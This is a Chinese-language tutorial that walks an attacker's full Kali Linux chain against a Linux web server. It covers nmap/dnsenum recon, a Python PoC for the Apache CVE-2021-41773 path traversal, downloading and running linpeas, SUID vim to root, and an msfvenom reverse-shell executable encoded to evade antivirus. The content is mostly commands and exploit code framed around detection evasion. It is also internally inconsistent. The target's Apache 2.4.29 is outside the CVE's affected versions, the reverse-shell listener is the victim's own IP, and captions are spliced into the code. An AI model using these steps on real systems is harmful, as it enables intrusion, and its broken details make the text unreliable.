一、漏洞不是魔法,而是技术的盲点

在防守体系中,Kali Linux往往被认为是攻击者的常规工具箱。防御者在部署安全策略时,总是试图通过对抗恶意工具的载荷、网络流量和行为特征来制止攻击。然而,攻击的本质并不是工具,而是技术的运用和策略的设计。作为攻击者,我们利用防御者的盲区,绕过检测逻辑,实现渗透目标。

本文将从攻击者的视角出发,使用 Kali Linux 演示如何完成一次完整的渗透测试。通过信息收集、漏洞利用、权限提升和横向移动,展示如何在真实场景下执行攻击链。同时,为了增加真实感,我们会特别关注绕过防御和免杀的技巧。

---

黑客示意图

二、信息收集的深水区

探索目标的网络边界

在一次渗透测试中,信息收集是攻击链的首要环节。如果把目标系统比作一座城堡,那么信息收集就是探测城墙的薄弱点。这里我们将利用 Kali Linux 的经典工具 nmap 和 DNS 枚举工具 dnsenum,进行目标资产的网络侦察。

扫描开放端口与服务

以下是利用 nmap 扫描目标 IP 的操作:

<pre><code class="language-bash">nmap -A -T4 -p- 192.168.1.100</code></pre>

  • -A:启用操作系统检测、服务版本探测以及 traceroute。
  • -T4:设置扫描速度为“快”。
  • -p-:扫描所有 65535 个端口。

输出示例: <pre><code>PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 3306/tcp open mysql MySQL 5.7.33</code></pre>

从输出中可以看出,该主机运行了 HTTP 服务、SSH 服务以及 MySQL 数据库,所有这些服务均可作为潜在的攻击面。

枚举 DNS 信息

如果目标是一个域名,使用 dnsenum 枚举子域和域名服务器:

<pre><code class="language-bash">dnsenum --enum example.com</code></pre>

输出示例: <pre><code>Host&#039;s addresses: example.com. 192.168.1.100 Subdomains: admin.example.com 192.168.1.101 mail.example.com 192.168.1.102</code></pre>

发现的子域名可能会暴露管理界面或邮件服务器的入口,我们可以进一步分析这些入口是否存在漏洞。

---

三、漏洞利用:多层次突破的艺术

假设我们通过信息收集发现目标运行了一个未更新的 Apache HTTPD 2.4.29 服务,这里我们将利用 CVE-2021-41773 漏洞进行攻击。这个漏洞允许路径穿越和远程代码执行。

漏洞原理

CVE-2021-41773 是 Apache 2.4.49/2.4.50 版本中的一个路径穿越漏洞,攻击者可以通过构造恶意请求访问服务器上未授权的文件,甚至执行命令。在默认配置下,如果目录未启用 require all denied,漏洞即可触发。

POC 代码实现

以下是 Python 实现的完整 POC 代码:

<pre><code class="language-python">import requests

目标地址

target_url = &quot;http://192.168.1.100/cgi-bin/&quot;

黑客示意图

构造恶意 payload

payload = &quot;/bin/sh&quot;

发送恶意请求

def exploit(): headers = { &quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;, } data = { &quot;cmd&quot;: &quot;id&quot; } url = f&quot;{target_url}..%2f..%2f..%2f..%2f..%2f..%2f{payload}&quot; response = requests.post(url, headers=headers, data=data)

if response.status_code == 200: print(&quot;[+] Exploit successful!&quot;) print(response.text) else: print(&quot;[-] Exploit failed.&quot;)

exploit()</code></pre>

运行此代码后,我们能够在目标系统上执行命令。如果返回了类似 uid=33(www-data) gid=33(www-data) 的结果,说明我们已成功入侵。

---

四、权限提升:从脚下到顶端

在拿下初始访问权限后,下一步是提升权限。这里我们使用 linpeas.sh 自动化发现潜在的提权漏洞。

LinPEAS 的使用

通过 Kali Linux 下载并运行 LinPEAS:

<pre><code class="language-bash">wget https://github.com/carlospolop/PEASS-ng/releases/download/2023.01.01/linpeas.sh chmod +x linpeas.sh ./linpeas.sh</code></pre>

LinPEAS 会扫描目标系统上的提权漏洞,例如错误配置的 SUID 文件、未清理的 SSH 密钥或敏感文件。

示例漏洞: <pre><code>[+] SUID files: /usr/bin/sudo /usr/bin/vim.basic</code></pre>

如果发现 /usr/bin/vim.basic,我们可以利用它进行提权:

<pre><code class="language-bash">vim.basic -c &#039;:!/bin/bash&#039;</code></pre>

此时,我们将获得 root 权限。

---

五、横向移动:内网之旅

在获得管理员权限后,攻击者的目标通常是内网的其他设备。我们可以先收集网络配置,确定内网中其他主机的位置,然后利用 SMB Relay 等技术横向移动。

收集内网信息

运行以下命令获取网络信息:

<pre><code class="language-bash">ip addr show route -n arp -a</code></pre>

这些命令会显示本机的 IP 地址、子网掩码和网关地址。观察 ARP 列表,我们可以推测内网中其他设备的位置。

---

六、免杀与EDR对抗:保持隐身

很多时候,目标系统会运行杀毒软件或 EDR(终端检测与响应)工具。为了避免被拦截,我们需要对恶意载荷进行免杀处理。

使用 msfvenom 生成免杀载荷

以下是利用 msfvenom 生成加密的反向 Shell :

<pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe &gt; malicious.exe</code></pre>

  • -e x86/shikata_ga_nai:使用加密的编码器。
  • -i 5:重复加密 5 次。

黑客示意图

生成的 malicious.exe 可以绕过大部分传统杀毒软件的检测。

---

七、总结与经验反思

攻击是一门艺术,而非简单的工具堆砌。通过本次 Kali Linux 的渗透测试,我们从信息收集到最终的权限提升,完整地走完了一次攻击链。然而,这仅仅是表面,真正的技术在于如何结合场景、快速适应目标防守策略并灵活应变。

个人建议

  • 学习渗透时要注重场景演练,而非单纯工具使用。
  • 深入理解漏洞原理,才能更好地绕过各种防御机制。
  • 不断关注社区动态,掌握最新的攻击与反检测技术。

合法声明:本文仅限授权的安全测试,切勿将技术用于非法用途。